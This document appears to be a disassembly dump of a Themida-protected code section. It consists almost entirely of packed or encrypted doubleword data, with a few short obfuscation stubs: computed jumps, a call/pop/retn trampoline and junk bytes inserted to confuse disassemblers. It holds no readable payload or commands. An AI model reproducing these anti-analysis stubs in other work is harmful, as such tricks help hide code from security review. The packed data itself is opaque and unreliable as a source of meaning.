dd 892D6CFDh, 0C647163Ah, 0B6D7D8FEh, 86C418ABh, 1495C8E7h
dd 25168EA6h, 0A357B322h, 0FD200A8Ah, 0ED203F9Ch, 0A8AA371h
dd 11DB3Ah, 4572EA8Dh, 0AA1950B3h, 75523315h, 0B6676900h
dd 88FDDA66h, 5AB2530Eh, 365AF0D7h, 0CEE1FCAAh, 45C825AFh
dd 60F3D7F4h, 8DD4E0E8h, 5CABDAF9h, 3960A074h, 0B2EF5E0Eh
dd 567DC159h, 0E17ADF1h, 0B330B837h, 0F9493C8Fh, 0E4253455h
dd 0D4092685h, 549BCF7Ah, 0DDFAC243h, 0CBE864F5h, 5863BBE4h
dd 0B0634806h, 0ACAA3229h, 64193386h, 0CA225EE8h, 0D31B36F5h
dd 0A600000Ah, 0BAA03E18h, 0A2882628h, 0BC9E3C0Eh, 0A385252Bh
dd 0ADA03E16h, 78DC6982h, 6AE8785Ah, 77D1664Ch, 6CE07157h
dd 2B5A854Eh, 16B8E0AFh, 0BD3D2178h, 0E4C3E06Ch, 9DB51571h
dd 0C31F4E10h, 8C109DB4h, 0F4DB3A09h, 0DC6344Eh, 0B02FB94Bh
dd 0BA196D74h, 8F41024Bh, 0A3ECD316h, 9FF36D9Dh, 355815DFh
dd 2A20B496h, 0B592B5A2h, 8B71C640h, 0E668FA0Ah, 0AAAC3459h
dd 0AE943315h, 0A2FC7119h, 6B0A8B71h, 53814B2Ah, 52005072h
dd 183A8203h, 45B485C3h, 0A8B71C9h, 8B6252B0h, 196D740Ah
dd 4BBA9DBAh, 0A8B61CFh, 1C6B7598h, 107C5851h, 3BCA9BFAh
dd 47841DBh, 0B463D832h, 0CA123C8Eh, 9B674212h, 0D2032450h
dd 4783678h, 8D14DC41h, 2Fh, 0E0DDC2B1h, 5B862824h, 2204DE86h
dd 38596675h, 295D84B0h, 0DCBA5B8Ah, 577B168Eh, 9AFB4A0Ah
dd 53709552h, 646CDC6Fh, 2FC805h, 0C2660000h, 0EA3D4EE0h
dd 4C9B3F5Eh, 0CD43504h, 0EECDB9B0h, 8EBFD67Fh, 2B103716h
dd 9FFEDDBEh, 0F95BEACCh, 0E91C3B98h, 0A8AB26Dh, 5E0DD736h
dd 0E06CBD04h, 23BDC96Dh, 6E6B0286h, 996h, 0DFFF57E3h
dd 0C5E569F9h, 0D9F951E3h, 0CAE868F7h, 0DBFB59E8h, 972647E8h
dd 0AD3B1DBDh, 902305A5h, 0A5381AB8h, 153A07A7h, 0B8E366E0h
dd 48FA2F16h, 0EBC8BEA3h, 0B53D99CCh, 8706109Dh, 0B4ED203Dh
dd 0F5168EA5h, 2C7DC190h, 0D9F8320h, 88A5B33Dh, 18EEFC9Fh
dd 8AA369E5h, 0ECD3320Ah, 67962C86h, 0A89D8EBh, 0A83051B4h
dd 0C2B27859h, 354D9A31h, 36509995h, 2C20B199h, 7F46B7A4h
dd 0E0E92FA8h, 18AAACBDh, 51989836h, 7A679635h, 23E31C88h
dd 0A42253E2h, 0FBD71871h, 2D2FA8Fh, 0AA653B5Bh, 145h
dd 70E5C290h, 109DB516h, 0A36BEDFh, 0D508A7DFh, 168EA5BCh
dd 8AC998FDh, 963816A8h, 0DD3C0D47h, 0DC70C113h, 89DCFEh
dd 7091A0AEh, 0D0B14011h, 9D31C37Eh, 0F33E455h, 5DBC8DBDh
dd 9EF04193h, 3F6AF36Fh, 3859BCE3h, 2525B79Bh, 0BFA0BD9Bh
dd 3F6AD44Eh, 70789DE3h, 0B081CB5Eh, 0C541B493h, 8EE33F6Ah
dd 4746C50Fh, 910A7844h, 0A538EA5Fh, 92607A7h, 0F4307AD4h
dd 0FAC243BBh, 76C785D8h, 79562E3Ah, 0F42FAA04h, 0C33BBh
dd 95BD0BB1h, 0FCF1E22Eh, 0E8013D9Dh
dd 0CDCC419Eh, 9EC1E4E9h, 59ECEE7Fh, 5CEDD3F3h, 63ECD3F0h
dd 6EEAAD44h, 71F0F8h, 0B5E1529Eh, 15CD3EB0h, 9F4CC2C4h
dd 83D27ACBh, 42069D02h, 0E615B5D4h, 0A0CA80Eh, 28251C03h
dd 0A18229EFh, 0BEC41B17h, 0A5A73A20h, 5D996594h, 94FEC7C8h
dd 52FA4BF7h, 93FB4E74h, 4458E862h, 4A6CB1BBh, 253455F7h
dd 7A4E207h, 9CAE0228h, 0C11D4CCDh, 8ABB4458h, 3616A70Bh
dd 1DEE627h, 353C458Ch, 4867A6C1h, 717BCD62h, 0F0654263h
dd 0B5313596h, 82D375CAh, 7D13403h, 4ECCh, 79CBEF00h, 0A20180D1h
dd 3135D733h, 737DA0B5h, 0C8BEA3E9h, 0AAE3CCEBh, 0D6ED66CDh
dd 0D1700FD9h, 22168F1Ch, 0DE7052E3h, 7A6D5270h, 3388AA7Fh
dd 796FCB15h, 0E539AC0Bh, 0E0A8B11h, 0A2B3992Ch, 890C5963h
dd 59B9052Ah, 5D78854Fh, 0BD223C93h, 0C6C2E06Ch, 99CCEB9Bh
dd 168E9E34h, 72B880Dh, 143694B4h, 7CB889BFh, 53822165h
dd 107B852Ah, 1C3B0A8Bh, 57E5A236h, 4ACB9AFBh, 60830382h
dd 0DEC40477h, 7DB9034Dh, 9A852264h, 0D28F3DCh, 63F1D575h
dd 0B53F5EEFh, 76835A8h, 0C6110A68h, 5B7FC599h, 2E1CB02Bh
dd 0FE9FFE1Fh, 0A9C01E6Fh, 6CFCFE64h, 0ABBA9223h, 183A0B6Ah
dd 0DC76C6C7h, 0DC6D0C8Dh, 361F9C36h, 388AB0AFh, 0B5034716h
dd 2C4DCC9Dh, 26D16AA4h, 2A8ADA01h, 2E8D7139h, 646163BFh
dd 0DFE92CFEh, 8746B977h, 2C214Eh, 0A3350000h, 7AEBC8BEh
dd 168EA2DBh, 0D04ABB9Ch, 990A8A9Dh, 9EFF6C74h, 17AA90CFh
dd 0B6272435h, 0A8A9E5Ch, 3781E025h, 351Ch, 0BEA3C200h
dd 928E7602h, 14754051h, 0DCAF98B7h, 0D8A03026h, 0B65FAE36h
dd 17168F77h, 476867F6h, 8B60BC16h, 0F361F00Ah, 0F1142362h
dd 6127A3D2h, 0ADF00A8Bh, 6CBDB923h, 0BDD36DE0h, 31F88623h
dd 65D14h, 88CE1C00h, 98B6082Ah, 86C4183Ah, 9FB10228h
dd 88CC193Fh, 0D734FB2Ah, 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h
dd 0F300DE6Eh, 0E61D79ECh, 0B3E616B8h, 0F4DDC28Fh, 0B50C1C24h
dd 0BA1C32BAh, 21BEC821h, 82C81C3Eh, 0FB8A52B3h, 168ECD7Ah
dd 85AD0A8Bh, 0CC4D1C38h, 0BB4E59E7h, 0AA32D7A0h, 782A64E9h
dd 0BFE3CCC8h, 57B32270h, 204843E4h, 0A73A9CFDh, 6B7594A5h
dd 4F6C1A4Fh, 34D52B1Eh, 50E1244Eh, 0A5215473h, 6E4230D1h
dd 5099A52Fh, 47B69936h, 4230D1CBh, 6A677194h, 21AB46FBh
dd 815EBF48h, 67ED7C5Eh, 915BF343h, 4E9BEE3Fh, 0B7D63706h
dd 0C0143617h, 0BD10428Ah, 0A034DA8Fh, 0A645B1A3h, 599ABh
dd 452E000h, 1C3284A6h, 2489CBEh, 232D7EA4h, 44109D83h
dd 93F83766h, 8AB00E46h, 98BA183Ah, 83A50543h, 0AFBC1A32h
dd 0E6E13DB0h, 77AA16B8h, 0E06CBDCBh, 23BDA76Dh, 845E486h
dd 55Ah, 0E3C3931Fh, 0C1E16DBDh, 0DDFD4DDFh, 0C6E46CFBh
dd 0DFFF55E4h, 9B2A43ECh, 0A93719B9h, 942709A9h, 0A13416B4h
dd 213E0BABh, 0B8E772ECh, 7CE63B16h, 0B3226CBDh, 109DB557h
dd 0CD9CFD20h, 0F9497A6Fh, 66973455h, 1686929Eh, 0E4248203h
dd 0BB2A89FDh, 10737D96h, 6E9FAEEFh, 46F76F0h, 0E2ECB47h
dd 5090244Eh, 0AAF6h, 0DEB94C00h, 0FDDAACB5h, 8EA5E988h
dd 789BFA16h, 87958FD5h, 22647DD9h, 86D95085h, 654A4174h
dd 0E4288BF0h, 0B89827DAh, 33520FD9h, 0C842B394h, 91356FB6h
dd 2625C40Ch, 529AB004h, 2C8BFBE6h, 5DCB8AB9h, 3996F73Bh
dd 0BE8FC311h, 6748955Fh, 0A5BF343h, 0BE0F418Bh, 0B909318Eh
dd 7B45C495h, 9FEA7B5Dh, 90F14010h, 43C27CF1h, 3CEBA4DFh
dd 47D21h, 0E86EFC00h, 0F856E8CAh, 0E664F8DAh, 0FF51E2C8h
dd 0E86CF9DFh, 3754DBCAh, 260CAAAAh, 3C1EBC96h, 1F01A1A7h
dd 5320BE8Eh, 0E87DD90Ch, 0D34616B8h, 94C46Fh, 0A36A0000h
dd 7AEBC8BEh, 168692C2h, 0C1E9C647h, 85C91970h, 0A0EB8FB4h
dd 0A4DE361Dh, 2406A4C5h, 8EAABB91h, 73E17053h, 0E5C2A3E2h
dd 7353DD70h, 15A48610h, 0E5EF2E3Fh, 5BED4288h, 5BEA8B0Ah
dd 0B02A5B7Ch, 79046F52h, 7970CC14h, 0A991AE0Dh, 5BAA3216h
dd 0A60460Eh, 692356B7h, 7E73E248h, 3E4F2EFh, 49950000h
dd 3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh, 4392B816h, 0AD82B111h
dd 4363F140h, 2383CF5Dh, 409EAAFDh, 2585C71Ah, 48C2331Ch
dd 1116B8E8h, 1670A698h, 0FD109DB5h, 109DB49Dh, 0FFDCAABFh
dd 8692C68Eh, 5BEA2B16h, 0F366E677h, 80089603h, 8FA8A544h
dd 0EA000003h, 0F6DCFA5Ch, 0E6CCEA64h, 0F8DAF852h, 0E7C9E967h
dd 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh, 0BB8D2208h, 0A8A4351Bh
dd 0EF1E410Ah, 16B8E973h, 0C279E53Ch, 2A22E2DDh, 0B61D2DA9h
dd 60F70611h, 70626ABDh, 0E23CB1DDh, 0AB109E43h, 0FE3A0B6Ah
dd 0FE4CE0E3h, 70C187DCh, 22537011h, 168F3D5Bh, 0A7959BCh
dd 58188804h, 60950150h, 0BBD480E6h, 0AF0F6EAFh, 49183C89h
dd 318EF4EBh, 8183DF0Eh, 0B4CBBD4h, 0D48180DAh, 0A5C449BBh
dd 171E01FEh, 0C00837BEh, 6CBD3892h, 0DC6D51E0h, 0B565270h
dd 482927B8h, 0A2BFFA6Bh, 248168Eh, 0DEFD9CAEh, 4D27CFF9h
dd 1048D5C0h, 529FF0C3h, 0DF8E5637h, 89BF30AEh, 6F58870Ah
dd 3371139Fh, 0A800A724h, 22EC580Dh, 2BA0EAF2h, 0ADD83301h
dd 399B5Ah, 0A3BF0000h, 96B205BEh, 882746C7h, 8E987455h
dd 71C04516h, 8A878200h, 0E56FBE0Ah, 6CDE7254h, 1E9B35DDh
dd 878A0479h, 32530A8Ah, 8B008A53h, 0AD399361h, 0F43B5Ah
dd 0BD1F0000h, 7251E06Ch, 0CD04474Dh, 4D97B64Bh, 0C796BE0Bh
dd 3C0EA288h, 0F2E4EC2Dh, 0AA5A275Fh, 5C1D82BEh, 2ABC9E3Dh
dd 0B3AD5D5Eh, 0F5943032h, 4C9B2564h, 3595B70Ah, 0A49A2F18h
dd 0A28D286Eh, 3548EB1Ah, 75C8109Eh, 80D1F7D7h, 2A3F7DCCh
dd 34F36F9Eh, 59BC109Eh, 93B49B38h, 0E03E6D1Dh, 8DFC41C6h
dd 939D4726h, 0C2B0C49h, 9E797DD9h, 0FDC74610h, 8F4A238Eh
dd 6949CC16h, 7552342Dh, 75B06600h, 912E6F10h, 25C91AEh
dd 0CB04759Eh, 150824Ah, 0C8B0408Dh, 0F6E4E68h, 183C89AFh
dd 0FB4B7765h, 0C805A479h, 1CEh, 97371FABh, 8D2D21B1h
dd 913119ABh, 923020AFh, 933321B0h, 0CF5E8FA0h, 0B5032585h
dd 0C81B3D9Dh, 0AD002280h, 2D323F9Fh, 0B8EA5EB8h, 50F22716h
dd 0C6E470BDh, 0DCFB51E4h, 1A2161F6h, 4100EAFBh, 0A0A2B3D2h
dd 9721400Eh, 0BEA31FB9h, 0C796B205h, 9D496B80h, 83E26BF4h
dd 0DEBF8F1Fh, 8C01DE01h, 109EA612h, 0D332BADBh, 168F89F2h
dd 82F342C3h, 0A8B7A04h, 729A2F5Bh, 5AAC2FA2h, 960Ah, 0DDC23000h
dd 2ED1844Bh, 3A1CA4C9h, 2106A5A7h, 0CD10AE00h, 2CBB05BDh
dd 0A8B99B2Ah, 9E4FD659h, 49035610h, 59F7486Ah, 0CE5F418Fh
dd 98D1EF7Eh, 519CD1EEh, 0FA168F20h, 0E6FB3B9Bh, 0F7D203A0h
dd 0C010757Bh, 0D5C7E5Dh, 0F4416747h, 8019ED60h, 7B3279FBh
dd 0F55Eh, 20368400h, 400EA082h, 5EEC4062h, 47095A80h
dd 60F44167h, 0AFDC5342h, 0AE943222h, 0B496341Eh, 0A789291Fh
dd 0CB983616h, 0EAF55184h, 6BBE16B8h, 0E470BDF7h, 73C1E9C6h
dd 72C315DFh, 0BD5EFCDAh, 0C08C1D6Ch, 1EAE1071h, 0C2045534h
dd 0C1FDDD6Fh, 71ED20A8h, 3A109DB5h, 0D89FCDBh, 0D6109DB5h
dd 0D1F9D6B7h, 0D805CF83h, 8692C7A5h, 20315416h, 0ACFE8B1Eh
dd 41B493A2h, 0A828EC5h, 0F6E0F8Eh, 143889AFh, 93240645h
dd 26A7ACBDh, 5E71EAF3h, 4DBC0465h, 559C829h, 0AB39213Eh
dd 56F31DA7h, 943319ACh, 3721AAEh, 0EE99B487h, 9DACCD50h
dd 4466747Ch, 0CD0A5BF1h, 872289E2h, 0AC1683Fh, 83DBC04Fh
dd 478953FDh, 0D30958F8h, 0DF722099h, 0DA6B4D6Dh, 43C541B4h
dd 0F8EEE99h, 1C66516Eh, 171004Dh, 0C3005F69h, 300151DFh
dd 3CC07D1h, 72000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh
dd 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h
dd 2ABC9EAFh, 52221524h, 0C281E289h, 4, 4EA81h, 14870000h
dd 14895C24h, 73F56824h, 0C890000h, 4EC8324h, 68243C89h
dd 61B275Fh, 81240C8Bh, 4C4h, 26E46800h, 24890000h, 24048124h
dd 4, 0CA89525Fh, 8B085789h, 0C4812414h, 4, 5F2434FFh
dd 4C481h, 34FF0000h, 0C4815924h, 4, 0F84917E9h, 359522FFh
dd 4D8916A9h
; ---------------------------------------------------------------------------
loc_5FFB1C: ; CODE XREF: Themida_:005FE9ACj
mov eax, 61B37E1h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 24h, 16h, 0F3h
; ---------------------------------------------------------------------------
or bl, [ebp-65EF6748h]
push 0FFFFFFBDh
sbb [edx+6C37D755h], edx
retn
; ---------------------------------------------------------------------------
db 44h
dd 0AAAA5775h, 30914F5Eh, 2873B572h, 0E4152D67h, 7616B62Ah
dd 5A6CF762h, 35952B55h, 6DF9230Dh, 8232F039h, 7F030A4Bh
dd 0C7697E34h, 0B65FAC63h, 0B5972A6Dh, 0C4710629h, 0BB93209h
dd 0A20A8512h, 0BCC76F7Bh, 9F220416h, 0FF8F4A3Eh, 0B925F206h
dd 5598572Fh, 0CE9B4529h, 9341A97Ah, 0AA12860Dh, 0E2E254Fh
dd 14E97Ah, 70AE0000h, 1D32h, 3 dup(0)
dd 2E90000h, 0AE000005h, 0B2983620h, 0AA902E20h, 0B4963416h
dd 0AB8D2D23h, 0A598361Eh, 80D4618Ah, 0A2B00022h, 0BF891E04h
dd 0A4A8391Fh, 0E3123D06h, 16B8ED67h, 0C245F930h, 12434FE0h
dd 109DB4B8h, 737D1C81h, 0ED7CD061h, 0DAF85CE9h, 587D5FDh
dd 96CB6F35h, 18294874h, 4CDDEFF9h, 0BC0D3100h, 2D7DC190h
dd 9C2E1021h, 5CED5DEFh, 0C90D5C3Dh, 3D82D377h, 0E6FF2A19h
dd 0D3BFE069h, 76FC4F36h, 0B86D5205h, 30CE6045h, 9DFF9F04h
dd 0D384FF11h, 0D676C709h, 0DD85CEF9h, 6DF7A37Bh, 0E3C8851Ah
dd 9D2772A7h, 24699BFh, 1F297EA4h, 96BC0C4Eh, 92500E39h
dd 89D878C7h, 553A308h, 27BAE1ADh, 465897Dh, 0B5372DBCh
dd 51398E44h, 9E07C21Ch, 6B0A8B10h, 78D4654Bh, 83998E9h
dd 18B2109Eh, 79CEF4A3h, 9F5D05CFh, 47A341B9h, 76h, 1D6CBD1Bh
dd 0CA1BBF8Bh, 3352B382h, 0B575D322h, 1CAD109Dh, 0F77D096Ah
dd 84E5A1FDh, 0D4191B5h, 1A45173Ch, 7D8E55C7h, 0D2C3385Ah
dd 2C9D2Dh, 0A341F830h, 198h, 0E0C2BE00h, 0D3320351h, 0D777C709h
dd 5CF24486h, 59ECCE0Dh, 58E7E9F3h, 0C9F669F8h, 0B51B77E6h
dd 0A1E4109Dh, 0A65CED17h, 0BB9C3A14h, 0BC044497h, 0A605479Ah
dd 0E42FE81h, 0F0F8E5DEh, 70BD48E2h, 0E17155E4h, 9C36DC6Dh
dd 6EE6731Fh, 75D76A50h, 0FC4EE2E4h, 7857846Dh, 9DB48905h
dd 0A9335210h, 0E2C2EA5Fh, 4AA341E8h, 63h, 0E470BDF0h
dd 6BDF7155h, 7DD7664Ch, 0C423ADECh, 0B86ADF13h, 0AA8B2B29h
dd 49183688h, 7FCE00C8h, 604784D5h, 0EA787D88h, 0E6E8F012h
dd 836AFB55h, 9A4A7207h, 42A341A6h, 47h, 0E470BD18h, 6ADE7155h
dd 9FFB6A4Dh, 68109DB4h, 0B4C9B25h, 0A8CDEBD4h, 0FEA5A73Ah
dd 757FE263h, 65F49E1Bh, 0BD71CFEFh, 7350E16Dh, 5EDBB64Ch
dd 0FAC26D08h, 9E190A8Bh, 72078310h, 418E8A4Ah, 132A3h
dd 0BD080000h, 0D700DF6Bh, 0B288EB84h, 11D01868h, 0A1B09C2Dh
dd 1AC841ABh, 92684C6h, 0DD5BB726h, 0E124109Dh, 86DBD7h
dd 32A384A3h, 109DDCD8h, 48577CA1h, 0C36FCC9Fh, 27F6955Fh
dd 0D8168F4Eh, 113916B5h, 80DA8BBFh, 490A8B4Ch, 0C5F44FFEh
dd 0FF9EE740h, 15476F5h, 674B6C4Bh, 0A9E879D9h, 8AEB5EB8h
dd 0DEE6270Ah, 0C587DA00h, 0EA870574h, 0D2C00A8Ah, 51388939h
dd 9DFC4D01h, 69FCDEFCh, 0DD7052E3h, 0EAE23CB1h, 0ACAB0A8Ah
dd 8AEADD39h, 667A60Ah, 0A230D667h, 64E87929h, 0DC2EEE46h
dd 26965AACh, 0AC000001h, 0EBC8BEA3h, 8EBC377Ah, 0C71A4016h
dd 8B55B485h, 0B1AEBFDEh, 45143889h, 87DAFCC4h, 70C4E6C5h
dd 0DEC412DAh, 80A2014Bh, 0AD01592Dh, 0CD9415FFh, 81C524ACh
dd 480C5930h, 17A88A29h, 0DFE92839h, 7B107A80h, 0F8D676C7h
dd 0AD139C5Ch, 53445Ah, 0A31A0000h, 0C1E9C6BCh, 0B8ADB6Fh
dd 0C56194C1h, 0CE6F624Bh, 615CA389h, 9B3815A2h, 9DBFF06Ah
dd 3554B990h, 62002724h, 7C76B2F9h, 900A7B58h, 59909E94h
dd 15DAC34h, 3909E95h, 3F28F089h, 11202E80h, 0C33291F0h
dd 0EF632C27h, 0F2CDED30h, 81h, 0C8BEA350h, 7AEBCCEBh
dd 109DB520h, 0ED1CA4E9h, 168EA1E0h, 0D1F544C9h, 0CCEECC80h
dd 0F382D379h, 0A8AA090h, 7FCE7CD0h, 0F4450D5Bh, 281DAEE0h
dd 476F5887h, 2BFCB987h, 8C243E1Ch, 0C5241D27h, 4AF891FBh
dd 397555F7h, 9419330h, 1BB8D938h, 730644EAh, 11206510h
dd 0A1B09C2Dh, 1FC841ABh, 0ECBD2738h, 2465F45Ah, 58837E7Fh
dd 493D2490h, 5BF9486Ah, 14418B0Ah, 57D639E1h, 9B3B5A0Ah
dd 70E5C23Dh, 109DB516h, 0CC1CBEDFh, 8E56B786h, 704F3732h
dd 0A1FD704Fh, 6A109DB4h, 0BC62A12Bh, 0DD16868Ch, 14A5A9B8h
dd 92BD9A38h, 7EF59017h, 42945C80h, 7D0C5DEFh, 5990AE3h
dd 0A55DEE24h, 0B89A3814h, 34162725h, 0F85AEAA3h, 0F8492869h
dd 6111AAE4h, 815E7CD0h, 75B32F5Eh, 197CEF58h, 9D2723B5h
dd 13222ABBh, 0A36h, 0E0C29C00h, 0D3320351h, 0BDDB8509h
dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h
dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0BC68240Ch, 89000049h
dd 2B68243Ch, 89000013h, 0BD552434h, 61B38F1h, 2C8BEF89h
dd 4C48124h, 83000000h, 248904ECh, 24048324h, 81575E04h
dd 7C94242Ch, 468F2156h, 8468108h, 21567C94h, 5624348Bh
dd 0C681E689h, 4, 4C681h, 34870000h, 3C8B5C24h, 0E3895324h
dd 4C381h, 0C3810000h, 4, 5C241C87h, 0F84377E9h, 0DD1C1EFFh
dd 0DD0846FBh, 3D66B84Fh, 0C503061Bh, 4344E0FFh, 0EB6E4E2Ah
dd 0BF7C656Eh, 5280AB4h, 5EEF4C26h, 0B81E2D36h, 875428CDh
dd 1DA87ADBh, 0D8E96519h, 104457AFh, 32B76A4Eh, 8E703DBDh
dd 65EC3628h, 82FF67B5h, 8A5C20BCh, 0B974290Ah, 40557463h
dd 0F7EF48CAh, 0E3451C8Eh, 19F10CAEh, 0A6CA7D3Fh, 3C6B6AB4h
dd 27BD18EAh, 247466C0h, 0A1B40199h, 90456D0Ch, 0E84A5Fh
dd 22E97B48h, 0C7000000h, 3E947Dh, 7 dup(0)
dd 566E900h, 5510000h, 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h
dd 0FF4E7452h, 0E9467555h, 0BF1F3584h, 0A7074B99h, 0BC1A2E81h
dd 0A9094396h, 0D44EBFA0h, 9D16B8F2h, 6CBDDA84h, 0E06D51E0h
dd 0E1745674h, 0B4DE38ADh, 66A7109Dh, 0B4BA1449h, 283109Dh
dd 5DF0D263h, 0EA7C5EEFh, 0F5684764h, 109DB499h, 0D5DB47CAh
dd 94A37627h, 51FD4D71h, 0A8378100h, 993EBB37h, 2222EEAEh
dd 7E46E184h, 6443095Ch, 0E5FE93Eh, 3117458Fh, 260CAA9Eh
dd 0A9A6B791h, 0E5182F7Eh, 0F2E26E2Ah, 0B9EFD4FAh, 85C71185h
dd 164A1B37h, 20B35FDCh, 15A88A28h, 1AB7EA71h, 5DEC191Bh
dd 462766F7h, 66E71627h, 0DF109EADh, 0E6B6D673h, 4EA34112h
dd 84h, 1D6CBDF4h, 6EAFBE8Ah, 9F5E6149h, 0BCDDAC05h, 3A8CAEADh
dd 2C4D0151h, 95F4FC1Dh, 109E5A37h, 0FAAD1EACh, 5A2EA8DDh
dd 96F7109Eh, 9FAEA434h, 2EEE767Eh, 96A3414Fh, 1, 0E16DBDACh
dd 72DC6E50h, 6FDB6D55h, 73C40665h, 97DB8CDDh, 70DE7022h
dd 0FA4D7552h, 569EFF4Eh, 3C9BB104h, 0B570EA1Bh, 34A9109Dh
dd 109DB4DAh, 0EAD562A3h, 0A17414A8h, 982041A5h, 28B59DBAh
dd 0AC391D2Ch, 55FFC9A8h, 3D4EE0C2h, 2E3F5EEAh, 0B562BC31h
dd 0EA2B109Dh, 7260248Bh, 75986DB8h, 0B5DC696Bh, 0FB1A2B27h
dd 0A68CCB9Ah, 65E77A17h, 0F7D4B5D4h, 9E3D0C86h, 28B0D510h
dd 1DBA9426h, 97A6A235h, 17FF6E76h, 70570079h, 0B6070614h
dd 0BEC13196h, 3C89CB15h, 4598BA18h, 4B9CF544h, 0B4D53405h
dd 0EE4284D5h, 0F7E40D5Ch, 2CA82D3h, 1BC9F388h, 0C3A3413Ah
dd 85h, 2170BD97h, 0FEDDBC90h, 70C187DCh, 554FE4Eh, 6EC1E584h
dd 0C20A8BDAh, 0BD8D1F23h, 42B73BACh, 0B3134190h, 451408Dh
dd 1E203150h, 76D0058Dh, 0AF109DB5h, 9DB4E43Eh, 0DB68AD10h
dd 6101A7F4h, 0F8991845h, 65A1C899h, 83FC23D4h, 9FF38DB8h
dd 9F4D15DFh, 47A34105h, 4Eh, 0E470BD1Bh, 0FC54E3C7h, 45A42C6Dh
dd 0CB9AAE01h, 0E4735788h, 912A646Ch, 0D53A54E1h, 0A9C3439Ch
dd 5D456203h, 1A3880CCh, 51E0C2C0h, 9D33203h, 86D777C7h
dd 9DB496F7h, 0EAD00F10h, 2968F95Bh, 0A8D4659Fh, 0A341EAE8h
dd 150h, 6BBDE600h, 0AEDF00DFh, 109DB534h, 0CA86D5FDh
dd 80C221ABh, 1742592Dh, 8ADE48C2h, 0C865AEBh, 0D971C36Fh
dd 0E2A4BDF9h, 0F0C190C5h, 1372168Eh, 9FAD0042h, 0C6C8193Fh
dd 8AEF3B97h, 71E16F0Ah, 0AD92A1E0h, 96F06328h, 4C2D4CD4h
dd 81108CFDh, 49490A8Bh, 9DAF02B0h, 82CA1B3Dh, 42B394B3h
dd 0A8B80C8h, 92C40C91h, 8CAE0D3Fh, 1FCE163Ch, 0B260D977h
dd 358D2D1Fh, 5AAC2667h, 124CFh, 0BEA37300h, 377AEBC8h
dd 0D0168EBCh, 79183A8Ah, 0F953E6E8h, 85D6FCD9h, 0BC1B7ACBh
dd 8AA5CD49h, 6D77960Ah, 0E372DA6Bh, 6FFE4EDFh, 0E29029A7h
dd 85DDFD4Fh, 5AAD1BB7h, 6B1Fh, 0E5C24300h, 9DB51670h
dd 36BEDF10h, 6A5DD0Ah, 2E0FDE21h, 58600C66h, 8F700A7Bh
dd 56796F62h, 9DF8AB27h, 4B4B7490h, 1144B5E6h, 0B382E382h
dd 9EB0C842h, 2D15CA90h, 0E02AB29Eh, 7A429D6Bh, 0F9ACD060h
dd 0BCAE236Bh, 916A3D6Ah, 103291F0h, 16438DBBh, 62F34BE7h
dd 4DDEC4EFh, 0E92CB903h, 0F755E8CAh, 7ED0EFEDh, 6E000000h
dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h, 0B382CA1Bh
dd 8AA0C142h, 0FB90020Ah, 7956F647h, 0FB4AFE51h, 404529Ah
dd 0A145E3DDh, 0F7DCDFBFh, 0C3113996h, 0E518458Fh, 10733BD0h
dd 8BBF1139h, 32A3A441h, 46F26D8h, 7C0009h, 2E3D08A5h
dd 0A0BF8EEFh, 25FDE3B7h, 154891C8h, 46F7FB9h, 40620382h
dd 0B1D061EFh, 0B8942527h, 0C039B3A9h, 3695F1F8h, 5856B2C7h
dd 4C6AAB0Ah, 2BEA3EEh, 0C011B2F2h, 775CBD8Ch, 42692E61h
dd 6AEF7B11h, 0A605642Ah, 0B71B3184h, 0F4152424h, 8B7EEFECh
dd 0F416877Dh, 0E6177FCEh, 0A83696Ch, 27B1D035h, 0C80A5BBAh
dd 0D6F7D775h, 5DEC62F4h, 0FA2B43Ch, 0D667E97Ah, 4887D6B7h
dd 0EA7BCD62h, 2CE221ABh, 6921F842h, 0E4715976h, 2F850170h
dd 0CF4ED1F4h, 44EE8B05h, 454998F1h, 609FE869h, 0B41B7A6Fh
dd 0B2EFE215h, 6E4D2CE5h, 6BB6AD49h, 0BD0727D7h, 2428B99Fh
dd 0AEA23115h, 0B247C99Fh, 3F9FAD00h, 97C6C819h, 0D1F42E3Bh
dd 51E08104h, 0A74h, 0E0C2DA00h, 0D031004Eh, 0BDDA8408h
dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h
dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 9668242Ch, 89000073h
dd 8952241Ch, 4C281E2h, 83000000h, 148704EAh, 2C895C24h
dd 3E946824h, 1C8B061Bh, 4C48324h, 4EC81h, 24890000h, 24048324h
dd 27685D04h, 89000010h, 458F241Ch, 2434FF08h, 4C4815Dh
dd 8B000000h, 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h
dd 3D76E95Ch, 0E6F0FFF8h, 6A7D421h, 0F9C25AD5h, 4508DE84h
dd 1B4372B8h, 0FFC50306h, 74092CE0h, 0B3241915h, 9CC3276Ah
dd 0D68D8D1Ch, 0E8061B44h, 7, 126980C4h, 667E636Ah, 895EFB8Bh
dd 131BBD8Dh, 919D0306h, 0C706130Eh, 1318DD85h, 6AE806h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 5F6275E5h, 9589F6F0h, 61301D1h, 0FE8B5360h
dd 0FE95Bh, 200C0000h, 1FDCA64Ah, 0E58F1852h, 0C6FB5D5Fh
dd 85C7613Fh, 6133055h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_60075B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60075B proc near ; CODE XREF: Themida_:00600753p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_60075B endp
; ---------------------------------------------------------------------------
db 84h
; ---------------------------------------------------------------------------
jmp short loc_6007E3
; ---------------------------------------------------------------------------
mov [ebp+17h], dh
db 36h
mov [ebp+61322C5h], ecx
